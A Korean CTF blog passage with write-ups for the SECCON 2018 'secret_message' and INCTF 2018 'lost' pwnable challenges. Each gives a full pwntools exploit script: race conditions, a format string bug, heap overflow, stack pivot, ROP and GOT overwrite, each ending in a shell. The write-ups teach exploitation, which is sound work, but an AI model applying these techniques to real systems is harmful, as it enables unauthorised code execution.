00000150: 0833 c08a f935 daf2 30fe 7b05 804f 5187 .3...5..0.{..OQ.
00000160: 5d3d bf73 5915 f4aa 30fe 7b05 804f 5187 ]=.sY...0.{..OQ.
00000170: 8afe 4a7a cd71 7958 8f24 b09c 3a92 ff80 ..Jz.qyX.$..:...
00000180: 64d2 d326 0785 1ebc 8f24 b09c 3a92 ff80 d..&.....$..:...
00000190: 9167 80d2 98e5 6395 b07a 2b34 237e 07cc .g....c..z+4#~..
000001a0: 39a3 0556 13bc c115 b07a 2b34 237e 07cc 9..V.....z+4#~..
000001b0: 7346 cb00 b6ec e49d 0214 337e 3a10 48d3 sF........3~:.H.
000001c0: 5b07 678f 7d2b c949 0214 337e 3a10 48d3 [.g.}+.I..3~:.H.
000001d0: ad38 e9ef ccf6 7e90 8573 1302 3239 246b .8....~..s..29$k
000001e0: ea84 dd1b 1e80 97e6 8573 1302 3239 246b .........s..29$k
000001f0: e7b6 55aa d40f ffc8 7715 7f8d d689 8c11 ..U.....w.......
00000200: 52df aa7c c1cf bce1 7715 7f8d d689 8c11 R..|....w.......
00000210: 9167 80d2 98e5 6395 b07a 2b34 237e 07cc .g....c..z+4#~..
00000220: 39a3 0556 13bc c115 b07a 2b34 237e 07cc 9..V.....z+4#~..
00000230: 48ee a728 4fba 1c17 1659 1b58 9ccd 0d34 H..(O....Y.X...4
00000240: c73d ca07 2ed9 53d7 1659 1b58 9ccd 0d34 .=....S..Y.X...4
00000250: fd9b d0b8 9054 6afb 26c9 6715 d75a 5da1 .....Tj.&.g..Z].
00000260: 887d 8c18 a48b b530 26c9 6715 d75a 5da1 .}.....0&.g..Z].
00000270: bcc6 67ca d209 d643 b02b d384 2837 15c6 ..g....C.+..(7..
00000280: 64a6 3cf4 8978 428e b02b d384 2837 15c6 d.<..xB..+..(7..
00000290: 9167 80d2 98e5 6395 b07a 2b34 237e 07cc .g....c..z+4#~..
000002a0: 39a3 0556 13bc c115 b07a 2b34 237e 07cc 9..V.....z+4#~..
000002b0: 0448 95c3 db6b 3e07 b978 51d1 c1fe 2df8 .H...k>..xQ...-.
000002c0: 8a97 938a 6d64 6d64 b978 51d1 c1fe 2df8 ....mdmd.xQ...-.
000002d0: 0448 95c3 db6b 3e07 b978 51d1 c1fe 2df8 .H...k>..xQ...-.
000002e0: 8a97 938a 6d64 6d64 b978 51d1 c1fe 2df8 ....mdmd.xQ...-.
000002f0: e050 4ca4 a7be 68d4 f7e9 9f5d b4fd 74b8 .PL...h....]..t.
00000300: 7aff 7177 cd02 dadc f7e9 9f5d b4fd 74b8 z.qw.......]..t.
00000310: b07a 2b34 237e 07cc 4e90 9fb6 7411 9b88 .z+4#~..N...t...
00000320: 6640 e65b 3394 aba2 4e90 9fb6 7411 9b88 f@.[3...N...t...
00000330: 12ab 0000 0003 0000 3000 0000 0000 0000 ........0.......
00000340: b004 5e53 3a11 8591 4fcb 785a 9e96 3d2d ..^S:...O.xZ..=-
00000350: a801 175c 3625 fbb7 5025 ccc0 a8c2 29f1 ...\6%..P%....).
00000360: d35c a0b9 fcea 07f2 05cf a7e6 b47d 3a26 .\...........}:&
00000370: d35c a0b9 fcea 07f2 0fc5 43b9 d5e0 d4dd .\........C.....
00000380: 7e29 5f80 3622 0055 e289 8d0f b016 dffc ~)_.6".U........
00000390: 8b54 c3a6 143e 958b 0118 17b5 ddaa f43e .T...>.........>
000003a0: 8da7 a43a b6e3 a8c9 331e 1f5d 5031 aeda ...:....3..]P1..
000003b0: fa56 4e9a a680 87bc 187a 511c 0f49 4e06 .VN......zQ..IN.
000003c0: b8b9 52be ef6c 759b 5097 b645 82ee 640b ..R..lu.P..E..d.
000003d0: 98f8 0f14 4366 6a95 d540 cf57 ac17 5035 ....Cfj..@.W..P5
000003e0: d3b2 6f19 5775 7b29 d540 cf57 ac17 5035 ..o.Wu{).@.W..P5
000003f0: 5ba6 e0a7 b7bb 1140 b77b 3a4b c7f4 7677 [......@.{:K..vw
00000400: 1eb2 0f4e 1182 4606 b77b 3a4b c7f4 7677 ...N..F..{:K..vw
00000410: f1c8 bcd7 538a 578d 331e 1f5d 5031 aeda ....S.W.3..]P1..
00000420: 1fca b543 de82 e377 0d06 3d0e 2c73 32a4 ...C...w..=.,s2.
00000430: fa56 4e9a a680 87bc 187a 511c 0f49 4e06 .VN......zQ..IN.
00000440: b8b9 52be ef6c 759b 5097 b645 82ee 640b ..R..lu.P..E..d.
00000450: 98f8 0f14 4366 6a95 d540 cf57 ac17 5035 ....Cfj..@.W..P5
00000460: d3b2 6f19 5775 7b29 d540 cf57 ac17 5035 ..o.Wu{).@.W..P5
00000470: a1a9 faa6 46a7 bc2d 4787 bfdd 1c32 fa41 ....F..-G....2.A
00000480: 8387 b68c ba97 4df6 a7a8 0a42 a552 58b9 ......M....B.RX.
00000490: 0a8b e48c ec96 95be 8edd 022c beac c473 ...........,...s
000004a0: 6a84 6273 c29d 38ff 7763 1642 3a55 8008 j.bs..8.wc.B:U..
000004b0: fa56 4e9a a680 87bc 187a 511c 0f49 4e06 .VN......zQ..IN.
000004c0: b8b9 52be ef6c 759b 5097 b645 82ee 640b ..R..lu.P..E..d.
000004d0: 98f8 0f14 4366 6a95 d540 cf57 ac17 5035 ....Cfj..@.W..P5
000004e0: d3b2 6f19 5775 7b29 d540 cf57 ac17 5035 ..o.Wu{).@.W..P5
000004f0: 5ba6 e0a7 b7bb 1140 b77b 3a4b c7f4 7677 [......@.{:K..vw
00000500: 1eb2 0f4e 1182 4606 b77b 3a4b c7f4 7677 ...N..F..{:K..vw
00000510: bba2 af3a 811b 9c6d fa5e 6139 02e7 f639 ...:...m.^a9...9
00000520: 2ef5 d480 4b7b b496 2e88 5c8f a145 4e56 ....K{....\..ENV
00000530: d01c febb c71b 21ce de06 d03c f798 3bd5 ......!....<..;.
00000540: afae cdb3 4dd3 8118 de06 d03c f798 3bd5 ....M......<..;.
00000550: 5ba6 e0a7 b7bb 1140 b77b 3a4b c7f4 7677 [......@.{:K..vw
00000560: 1eb2 0f4e 1182 4606 b77b 3a4b c7f4 7677 ...N..F..{:K..vw
00000570: 5625 c5f6 8122 3fc7 a404 d674 ce8f 4ffa V%..."?....t..O.
00000580: fe82 e8e2 a803 43fe cf7c 8e7b 1c84 9348 ......C..|.{...H
00000590: 027d 0601 f5b3 f18a 5ee3 a5ad 4197 8f82 .}......^...A...
000005a0: 5b3e 37b2 f782 c2da 4256 a7a2 b649 56c1 [>7.....BV...IV.
000005b0: fa56 4e9a a680 87bc 187a 511c 0f49 4e06 .VN......zQ..IN.
000005c0: b8b9 52be ef6c 759b 5097 b645 82ee 640b ..R..lu.P..E..d.
000005d0: d35c a0b9 fcea 07f2 0fc5 43b9 d5e0 d4dd .\........C.....
000005e0: 7e29 5f80 3622 0055 e289 8d0f b016 dffc ~)_.6".U........
000005f0: d35c a0b9 fcea 07f2 0fc5 43b9 d5e0 d4dd .\........C.....
00000600: 7e29 5f80 3622 0055 e289 8d0f b016 dffc ~)_.6".U........
00000610: 8b54 c3a6 143e 958b 0118 17b5 ddaa f43e .T...>.........>
00000620: 8da7 a43a b6e3 a8c9 331e 1f5d 5031 aeda ...:....3..]P1..
00000630: fa56 4e9a a680 87bc 187a 511c 0f49 4e06 .VN......zQ..IN.
00000640: b8b9 52be ef6c 759b 5097 b645 82ee 640b ..R..lu.P..E..d.
00000650: 6672 6f6d 6672 6f6d 746f 746f fromfromtoto

0x10 byte의 file header와 저장된 글자수 만큼 반복되는 letter header + letter data. 그리고 마지막에 from과 to가 저장된다. magic number가 BTS인걸로 보아 출제자는 BTS의 엄청난 팬으로 추측된다.



Abuse a file



cmd_e 함수에서 사용자에게 filename 입력받을 때, file의 존재 여부를 검사하거나 lock을 걸지 않기 때문에, 여러 개의 process에서 동시에 1개의 file을 생성할 수 있다.


fwrite 함수는 기본적으로 buffer를 사용하기 때문에, 실제로 write system call 이 발생하는 시점은 아래와 같다.


(1) buffer(0x1000 byte)가 가득 차거나 

(2) fclose하는 시점에 buffer에 남아있는 data를 file에 write


이러한 특성을 이용하여 2개의 process가 함께 file을 생성하며 file header를 혼동시킬 수 있다. 시나리오를 그림으로 나타내면 아래와 같다


# process 1 input

$ ./secret

welcome~ e to : BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB from : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA filename : file message length : 7 message : aaaaaa

(wait for a sec)

a

# process 2 input

$ ./secret

welcome~ e to : toto from : fromfrom filename : file message length : 8 message : aaaaaa



 

 

 

 

 

 


위와 같은 시나리오로 file을 생성하면 사용자가 입력한 from, to data를 위에서 지칭한 letter header, letter data로 인식시킬 수 있다. python으로 표현하면 아래와 같다. 

#filename
s1.recvuntil('filename : \n')
s1.sendline('file')

s2.recvuntil('filename : \n')
s2.sendline('file')

#message length
s1.recvuntil('message length :\n')
s1.sendline(str(6 + 1))

s2.recvuntil('message length :\n')
s2.sendline(str(6 + 2))

#message
s1.recvuntil('message : \n')
s2.recvuntil('message : \n')
s1.send('a' * 6)
s2.send(message)
time.sleep(4)
s2.close()

s1.send('a')
time.sleep(4)
s1.close()


OOB + Format String Bug


cmd_s(decode) 함수에서는 letter data를 decode 하여 출력할 ascii art character의 index를 계산한다.


format은 ascii art character의 주소들이 나열된 table이다. format string을 거치지 않고 그대로 출력하기 때문에, fsb 취약점이 존재한다. 

.data:60A140                         ; char *format
.data:60A140 18 7A 40 00 00 00 00 00 format dq offset a__V ; DATA XREF: decrypt_401C74+3BCr
.data:60A140 ; decrypt_401C74+3E4r
.data:60A140 ; "|"
.data:60A148 1A 7A 40 00 00 00 00 00 dq offset asc_407A1A ; " "
.data:60A150 1C 7A 40 00 00 00 00 00 dq offset asc_407A1C ; "
"
.data:60A158 1E 7A 40 00 00 00 00 00 dq offset a_ ; "_"
.data:60A160 20 7A 40 00 00 00 00 00 dq offset asc_407A20 ; "/"
.data:60A168 22 7A 40 00 00 00 00 00 dq offset asc_407A22 ; "`"
.data:60A170 24 7A 40 00 00 00 00 00 dq offset asc_407A24 ; "("
.data:60A178 26 7A 40 00 00 00 00 00 dq offset asc_407A26 ; "\"
.data:60A180 28 7A 40 00 00 00 00 00 dq offset asc_407A28 ; ","
.data:60A188 2A 7A 40 00 00 00 00 00 dq offset asc_407A2A ; "'"
.data:60A190 2C 7A 40 00 00 00 00 00 dq offset asc_407A2C ; ")"
.data:60A198 2E 7A 40 00 00 00 00 00 dq offset a__0 ; "."
.data:60A1A0 30 7A 40 00 00 00 00 00 dq offset asc_407A30 ; "<"
.data:60A1A8 32 7A 40 00 00 00 00 00 dq offset asc_407A32 ; ">"
.data:60A1B0 34 7A 40 00 00 00 00 00 dq offset aV ; "V"
.data:60A1B8 00 00 00 00 00 00 00 00 align 20h
.data:60A1C0 08 07 06 05 04 03 02 01 checksum_60A1C0 dq 102030405060708h ; DATA XREF: sub_4011E6+6Dr
.data:60A1C0 ; decrypt_401C74+181r
.data:60A1C0 _data ends
.data:60A1C0
.bss:60A1D0 ; ===========================================================================
.bss:60A1D0
.bss:60A1D0 ; Segment type: Uninitialized
.bss:60A1D0 ; Segment permissions: Read/Write
.bss:60A1D0 _bss segment para public 'BSS' use64
.bss:60A1D0 assume cs:_bss
.bss:60A1D0 ;org 60A1D0h
.bss:60A1D0 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.bss:60A1D0 public stdin
.bss:60A1D0 ; FILE *stdin
.bss:60A1D0 ?? ?? ?? ?? ?? ?? ?? ?? stdin dq ? ; DATA XREF: sub_401007+4r
.bss:60A1D0 ; Copy of shared data
.bss:60A1D8 public stdout
.bss:60A1D8 ; FILE *stdout
.bss:60A1D8 ?? ?? ?? ?? ?? ?? ?? ?? stdout dq ? ; DATA XREF: sub_401007+13r
.bss:60A1D8 ; Copy of shared data
.bss:60A1E0 ?? byte_60A1E0 db ? ; DATA XREF: sub_400F60r
.bss:60A1E0 ; sub_400F60+13w
.bss:60A1E1 ; std::ios_base::Init unk_60A1E1
.bss:60A1E1 ?? unk_60A1E1 db ? ; ; DATA XREF: sub_40103D+1Do
.bss:60A1E1 ; sub_40103D+2Co
.bss:60A1E2 ?? db ? ;
.bss:60A1E3 ?? db ? ;
.bss:60A1E4 ?? db ? ;
.bss:60A1E5 ?? db ? ;
.bss:60A1E6 ?? db ? ;
.bss:60A1E7 ?? db ? ;
.bss:60A1E8 ; void *from_buf
.bss:60A1E8 ?? ?? ?? ?? ?? ?? ?? ?? from_buf dq ? ; DATA XREF: cmd_s_4020AC+F4w
.bss:60A1E8 ; cmd_s_4020AC+113r ...
.bss:60A1F0 ; void *to_buf_60A1F0
.bss:60A1F0 ?? ?? ?? ?? ?? ?? ?? ?? to_buf_60A1F0 dq ? ; DATA XREF: cmd_s_4020AC+10Cw
.bss:60A1F0 ; cmd_s_4020AC+129r ...
.bss:60A1F8 ; char *decrypt_filename
.bss:60A1F8 ?? ?? ?? ?? ?? ?? ?? ?? decrypt_filename dq ? ; DATA XREF: cmd_s_4020AC+13w
.bss:60A1F8 ; cmd_s_4020AC+24r ...
format table의 size는 8 * 15 이다. calc_index_202784 함수의 return value에 대한 boundary check가 이루어지지 않는다면, return value를 0x17로 만들어, printf(decrypt_filename); 으로 fsb 취약점을 trigger 할 수 있다.
// decrypt filename은 초기에 입력받은 file path


idx가 format table을 벗어나는지에 대한 check가 이루어지지 않기 때문에, OOB가 발생한다. 즉, letter header + letter data를 잘 control하면 idx를 0x17로 만들어 fsb를 trigger 할 수 있다.



Create an evil message


calc_index_402784 함수의 return value를 0x17 byte 로 만드는 letter format + letter data가 필요하다. encode / decode routine복잡하기 때문에 다 분석한다면 꽤나 고생하겠지만, 이를 전부 분석 할 필요없다. 문제 binary에서 encode 기능과 관련된 table을 패치하여 간단하게 얻을 수 있다. 

$ diff original.xxd patched.xxd
1629,1631c1629,1631
< 000065c0: 0101 0101 0101 0102 0101 0303 0103 0102 ................
< 000065d0: 0104 0103 0501 0002 0001 0603 0001 0002 ................
< 000065e0: 0107 0303 0803 0002 0101 0101 0101 0102 ................
---
> 000065c0: 1700 0000 0000 0000 ffff ffff ffff ffff ................
> 000065d0: ffff ffff ffff ffff ffff ffff ffff ffff ................
> 000065e0: ffff ffff ffff ffff ffff ffff ffff ffff ................
1939c1939
< 00007920: 3000 0000 3000 0000 2a00 0000 3000 0000 0...0...*...0...
---
> 00007920: 0800 0000 3000 0000 2a00 0000 3000 0000 ....0...*...0...

문제 binary에서 문자 'a' 를 구성하는 ascii art 정보를 변경했다. 0x7920에는 'a'의 ascii art를 구성하기 위한 문자의 개수가 나와있다.(0x30) 이를 최소값인 8로 바꾼다. 0x65c0에는 'a'의 ascii art를 구성하는 문자들의 index가 저장되어있다. 첫 byte만 0x17로 변경하고 나머지 7byte는 아무렇게나 바꾼다.


patch된 프로그램을 실행하여 "%p %p %p %p"라는 파일에 'a'를 encode한다.

$ ./patched
welcome~
e
to :
toto
from :
fromfrom
filename :

%p %p %p %p
message length :
1
message :
a

이제 "%p %p %p %p" file을 decode 해보면 format을 기준으로 0x17에 있는 decrypt_filename을 출력하여 fsb가 trigger 된다.

$ ./patched
welcome~
s
path :
%p %p %p %p
0x7f7255b463a0 (nil) 0x3c 0x348||||||| <--------------------- printf(filename);
from : fromfrom
to : toto

encode routine에 대한 상세분석 없이 FSB 를 trigger 하는 data 를 얻었다. 

file에서 letter header와 letter data를 exploit에서 사용하면 된다.

$ xxd files/%p\ %p\ %p\ %p
00000000: 4254 5300 0100 0000 0800 0000 0400 0000 BTS.............
00000010: 12ab 0000 8000 0000 0800 0000 0000 0000 ................
00000020: a89f be76 7bf1 7de7 48d5 40aa 96aa 2155 ...v{.}.H.@...!U
00000030: a098 b873 7ff2 7fe6 17ab 38c6 3744 88bf ...s......8.7D..
00000040: a935 bcb8 6068 a9f0 fb4d a1ce 00da 94d7 .5..`h...M......
00000050: ac8b 6b2e 91f5 262e ac8b 6b2e 91f5 262e ..k...&...k...&.
00000060: ac8b 6b2e 91f5 262e ac8b 6b2e 91f5 262e ..k...&...k...&.
00000070: 3d71 9136 b9a6 06dc 3d71 9136 b9a6 06dc =q.6....=q.6....
00000080: 3d71 9136 b9a6 06dc 3d71 9136 b9a6 06dc =q.6....=q.6....
00000090: 3d71 9136 b9a6 06dc 3d71 9136 b9a6 06dc =q.6....=q.6....
000000a0: 3d71 9136 b9a6 06dc 3d71 9136 b9a6 06dc =q.6....=q.6....
000000b0: 6672 6f6d 6672 6f6d 746f 746f fromfromtoto


How to exploit


(1) FSB -> fake ebp -> rip control


fsb 로 덮을 대상으로 sfp를 선택했다. 마침 fsb가 발생하는 시점이 main 함수로부터 2번째 내부 함수이기 때문에 sfp를 user controllable한 영역으로 변경하면, main에서 leave; ret를 하는 시점에 rsp가 user controllabe 영역으로 변경되어 rip를 control 할 수 있다.


그렇다면 user controllable한 영역은 어디가 있을까. fwrite와 마찬가지로 fread 함수는 기본적으로 0x1000 단위로 file data를 heap에 읽어두기 때문에, to/from에 payload를 저장하면 heap에 payload를 write할 수 있다. 


하지만 아직 heap 주소를 모르기 때문에, %n 시점에 출력 카운트를 heap주소로 만드는 것이 불가능하다. 라고 생각할 수 있지만 format string에 '*' precision을 이용하면 heap 주소를 몰라도 heap 주소만큼 출력 카운트를 만들어주는 것이 가능하다.

##################################################################
fsb = '%*56$c%{}c%52$ln'.format(0x61df30 - 0x61d650 - 8)
'''
XXXX : heap address

XXXX : user controllable data - heap address

XXXX : sfp


0x7fffffffdbe0: 0x7fffffffdc20 0x40220c
0x7fffffffdbf0: 0x7ffff7530120 <pa_next_type> 0x1700000007
0x7fffffffdc00: 0x61d650 0x61d880 // 56th idx
0x7fffffffdc10: 0x7ffff75308e0 <_IO_2_1_stdin_> 0x0
0x7fffffffdc20: 0x7fffffffdc50 0x400fe8
0x7fffffffdc30: 0x7fffffffdd38 0x100400eb0
0x7fffffffdc40: 0x7fffffffdd30 0x7300000000000000

# user controllable data
0x61df30: 0x6161616161616161 0x6161616161616161
0x61df40: 0x6161616161616161 0x6161616161616161
0x61df50: 0x6161616161616161 0x6161616161616161
0x61df60: 0x6161616161616161 0x6161616161616161
0x61df70: 0x6161616161616161 0x6161616161616161
0x61df80: 0x6161616161616161 0x6161616161616161

>>> 0x61df30 - 0x61d650
2272
'''
##################################################################

56번째 인자로 heap주소(0x61d650)가 존재한다. '*' precision의 참조 위치를 56번째로 지정해주고 출력하면, 0x61d650만큼의 출력 카운트가 만들어진다. user controllable data는 0x61df30 부터 있으므로 (0x61df30 - 0x61d650) 만큼 더 출력 카운트를 올려준다. sfp에 %ln을 하면 cmd_s 함수의 sfp가 0x61df30 으로 변경되고, main 함수에서 leave; ret 하는 시점에 stack이 0x61df30쪽으로 pivot되어 0x6161616161616161로 ret 할 것이다.


(2) ROP


그럼 user controllable data에 넣을 ROP payload를 구성하면 된다. 다행히 pie가 disable 되어있으므로 binary 내에 존재하는 gadget을 이용할 수 있다. payload는 아래와 같이 구성했다.


puts(fopen_got) -> read(0, fopen_got, 8) -> cmd_s()


puts함수로 fopen_got에 있는 libc 주소를 leak하고, system 함수 주소를 계산한다.

fopen_got에 system 함수 주소를 overwrite하고, fopen함수를 호출하는 cmd_s로 돌아간다.

cmd_s함수를 호출하면 사용자에게 입력받아 명령을 실행할 수 있다.



구성한 ROP payload는 아래와 같다.

############## rop payload inside the file (to) ##################
pop_rdi = 0x406583
pop_rsi_r15 = 0x406581
do_read = 0x4010e8
puts_plt = 0x400ce0
fopen_got = 0x60a068
decode_msg = 0x4020ac
freespace = 0x60af00

pay = ''
pay += p64(pop_rdi)
pay += p64(fopen_got)
pay += p64(puts_plt)
pay += p64(pop_rdi)
pay += p64(fopen_got)
pay += p64(pop_rsi_r15)
pay += p64(8)
pay += p64(0x0)
pay += p64(do_read)
pay += p64(decode_msg)
###################################################################

...............
...............

# to
s1.recvuntil('to : \n')
s1.sendline(pay)

...............

...............


libc_system = libc_base + 0x45390
print hex(libc_base)
s3.send(p64(libc_system))

s3.recvuntil('path : \n')
s3.sendline('sh')


s3.interactive()


Exploit

#!/usr/bin/python

from pwn import *

REMOTE = True

message = 'a' * 6

###### fake message to trigger fsb via printf(filename) ########
fake_message = ''
# header
fake_message += '\x12\xab\x00\x00'
fake_message += p32(0x80) # data size
fake_message += p32(8) # height
fake_message += p32(0) # unknown
fake_message += p64(0x54597b67e1abe6e7) # checksum
fake_message += p64(0x61283094c250184a) # rand

body = [0x555b7863e4ade1ef, 0x5b22f0bd9c45c7e0, 0xb08450e9df3bfc15, 0x2a56d50edb755f3,
0xba227aec25d7eefa, 0xba227aec25d7eefa, 0xba227aec25d7eefa, 0xba227aec25d7eefa,
0xcb4b7b943393921
, 0xcb4b7b943393921, 0xcb4b7b943393921, 0xcb4b7b943393921,
0xcb4b7b943393921
, 0xcb4b7b943393921, 0xcb4b7b943393921, 0xcb4b7b943393921]
fake_message += ''.join(map(p64, body))
##################################################################


##################################################################
fsb = '%*56$c%{}c%52$ln'.format(0x61df30 - 0x61d650 - 8)
'''
0x7fffffffdbe0: 0x7fffffffdc20 0x40220c
0x7fffffffdbf0: 0x7ffff7530120 <pa_next_type> 0x1700000007
0x7fffffffdc00: 0x61d650 0x61d880 // 56th idx
0x7fffffffdc10: 0x7ffff75308e0 <_IO_2_1_stdin_> 0x0
0x7fffffffdc20: 0x7fffffffdc50 0x400fe8
0x7fffffffdc30: 0x7fffffffdd38 0x100400eb0
0x7fffffffdc40: 0x7fffffffdd30 0x7300000000000000

0x61df30: 0x6161616161616161 0x6161616161616161
0x61df40: 0x6161616161616161 0x6161616161616161
0x61df50: 0x6161616161616161 0x6161616161616161
0x61df60: 0x6161616161616161 0x6161616161616161
0x61df70: 0x6161616161616161 0x6161616161616161
0x61df80: 0x6161616161616161 0x6161616161616161

>>> 0x61df30 - 0x61d650
2272
'''
##################################################################

############## rop payload inside the file (to) ##################
pop_rdi = 0x406583
pop_rsi_r15 = 0x406581
do_read = 0x4010e8
puts_plt = 0x400ce0
fopen_got = 0x60a068
decode_msg = 0x4020ac
freespace = 0x60af00

pay = ''
pay += p64(pop_rdi)
pay += p64(fopen_got)
pay += p64(puts_plt)
pay += p64(pop_rdi)
pay += p64(fopen_got)
pay += p64(pop_rsi_r15)
pay += p64(8)
pay += p64(0x0)
pay += p64(do_read)
pay += p64(decode_msg)


###################################################################

################ create evil message ###################
if REMOTE:
s1 = remote('secret-message.pwn.seccon.jp', 31337)
s2 = remote('secret-message.pwn.seccon.jp', 31337)
else:
s1 = process('./secret')
s2 = process('./secret')


s1.recvuntil('welcome~\n')
s2.recvuntil('welcome~\n')

s1.send('e')
s2.send('e')

# to
s1.recvuntil('to : \n')
s1.sendline(pay)

s2.recvuntil('to : \n')
s2.sendline('a' * 0x1)

# from
s1.recvuntil('from : \n')
s1.sendline(fake_message)

s2.recvuntil('from : \n')
s2.sendline('b' * 0x1)

#filename :
s1.recvuntil('filename : \n')
s1.sendline(fsb)

s2.recvuntil('filename : \n')
s2.sendline(fsb)

#message length
s1.recvuntil('message length :\n')
s1.sendline(str(len(message) + 1))

s2.recvuntil('message length :\n')
s2.sendline(str(len(message) + 2))

#message
s1.recvuntil('message : \n')
s2.recvuntil('message : \n')
s1.send(message)
time.sleep(3)
s2.send(message)
time.sleep(3)
s2.close()
time.sleep(3)
s1.send('a')
time.sleep(3)
s1.close()
######################################################

################### trigger fsb ######################
if REMOTE:
s3 = remote('secret-message.pwn.seccon.jp', 31337)
else:
s3 = process('./secret')
s3.recvuntil('welcome~\n')
s3.send('s')
s3.recvuntil('path : \n')
s3.sendline(fsb)
# fsb ==> *sfp = rop_payload in heap
s3.recvuntil('to : ')
s3.recvline()
# rop payload
libc_base = u64(s3.recvline(False).ljust(8, '\x00')) - 0x6dd70
libc_system = libc_base + 0x45390
print hex(libc_base)
s3.send(p64(libc_system))

s3.recvuntil('path : \n')
s3.sendline('sh')

s3.interactive()
s3.close()
#######################################################


$ python ex.py [+] Opening connection to secret-message.pwn.seccon.jp on port 31337: Done [+] Opening connection to secret-message.pwn.seccon.jp on port 31337: Done [*] Closed connection to secret-message.pwn.seccon.jp port 31337 [*] Closed connection to secret-message.pwn.seccon.jp port 31337 [+] Opening connection to secret-message.pwn.seccon.jp on port 31337: Done 0x7fac3cf5d000 [*] Switching to interactive mode $ id uid=1000 gid=1000 groups=1000 $ cat /home/secret_message/flag SECCON{???????????????????????????}




'CTF' 카테고리의 다른 글

BCTF 2018 - houseOfAtum  (0) 2018.11.30
BCTF 2018 - three  (0) 2018.11.30
SECCON CTF 2018 QUAL - secret_message (one shot exploit)  (0) 2018.11.25
INCTF 2018 - lost  (0) 2018.11.04
INCTF 2018 - yawn  (0) 2018.11.03
SECCON 2018 QUAL - Simple memo  (0) 2018.11.02

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

INCTF 2018 - lost

CTF 2018.11.04 14:45

Category : pwnable


Summary : race condition, heap overflow, no free, top chunk into fastbin




Race condition


풀이 추가 예정


Exploit

#!/usr/bin/python

from pwn import *

def cmd_add(times, **arg):
ru('>> ')
sl('1')
ru('How many chunks at a time (1/2) ? ')
sl(str(times))
if times == 2:
# thread-1
ru('\nEnter Size 1: ')
sl(str(arg['size'][0]))
ru('\nEnter Author name : ')

time.sleep(5)

# thread-2
ru('\nEnter Size 2: ')
sl('10000')
ru('\nEnter Size 2: ')

time.sleep(5)

# thread-1
ss(arg['author'][0])
ru('\nEnter Data 1: ')
ss(arg['data'][0])
ru('\nData entered\n')

# thread-2
sl(str(arg['size'][1]))
ru('\nEnter Author name : ')
ss(arg['author'][1])
ru('\nEnter Data 2: ')
ss(arg['data'][1])
ru('\nData entered\n')

else :
# thread-1
ru('\nEnter Size 1: ')
sl(str(arg['size']))
ru('\nEnter Author name : ')
sl(arg['author'])
ru('\nEnter Data 1: ')
sl(arg['data'])
ru('\nData entered\n')

def cmd_edit(data):
ru('>> ')
sl('2')
ru('Enter new data: ')
ss(data)



s = process('./lost')
ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send

atoi_got = 0x602088
printf_plt = 0x400970

cmd_add(1, size=0x270, author='a'*0x6e, data='0' * 0x270) # 0x300
cmd_add(1, size=0x270, author='a'*0x6e, data='0' * 0x270) # 0x600
cmd_add(1, size=0x270, author='a'*0x6e, data='0' * 0x270) # 0x900
cmd_add(1, size=0x270, author='a'*0x6e, data='0' * 0x270) # 0xc00
cmd_add(1, size=(0x270 - 0x120), author='a'*0x6e+'\x00', data='0' * (0x270-0x120)) # 0xf00 - 0x120

pay = ''
pay += 'a'*0x10
pay += p64(0) + p64(0x21)
pay += 'a' * 0x10
pay += p64(0) + p64(0xc1)

cmd_add(2, size=[0x10, 0x10], author=['a'*0xe+'\x00', 'b'*0xe+'\x00'], data=[pay, 'b'*0x10])

pay2 = ''
pay2 += 'A' * 0x20
pay2 += p64(0) + p64(0x71)
pay2 += p64(0x6020dd)
'''
0x6020d0 <stdin@@GLIBC_2.2.5>: 0x7ffff7bb48e0 <_IO_2_1_stdin_> 0x0
0x6020e0 <stderr@@GLIBC_2.2.5>: 0x7ffff7bb5540 <_IO_2_1_stderr_> 0x0
0x6020f0 <ptr>: 0x603010 0x603030
0x602100 <size>: 0x1 0x0
0x602110: 0x0 0x0
'''

cmd_add(2, size=[0x20, 0x20], author=['a'*0xee+'\x00', 'b'*0xee+'\x00'], data=[pay2, 'b'*0x40])
cmd_add(1, size=0x60, author='c' * 0x10+'\x00', data='A'*0x60)
pay3 = ''
pay3 += '\x00' * 3
pay3 += p64(atoi_got)
pay3 += p64(0)
pay3 += p64(8)

cmd_add(1, size=0x60, author='d' * 0x10+'\x00', data=pay3)
cmd_edit(p64(printf_plt))
ru('>> ')
sl('%7$p\n')
libc_base = int(rl(False), 16) - 0x0000000000070ad2
print hex(libc_base)
libc_system = libc_base + 0x456a0
ru('Invalid\n')

# cmd edit
ru('>> ')
sl('aa') # printf("aa") = 2 = menu2
ru('Enter new data: ')
ss(p64(libc_system))

ru('>> ')
sl('sh')

s.interactive()
s.close()


$ python ex.py
[+] Starting local process './lost': pid 7713
0x7f07e969e000
[*] Switching to interactive mode
$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)

'CTF' 카테고리의 다른 글

BCTF 2018 - three  (0) 2018.11.30
SECCON CTF 2018 QUAL - secret_message (one shot exploit)  (0) 2018.11.25
INCTF 2018 - lost  (0) 2018.11.04
INCTF 2018 - yawn  (0) 2018.11.03
SECCON 2018 QUAL - Simple memo  (0) 2018.11.02
HITCON CTF 2018 - groot  (0) 2018.10.30

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret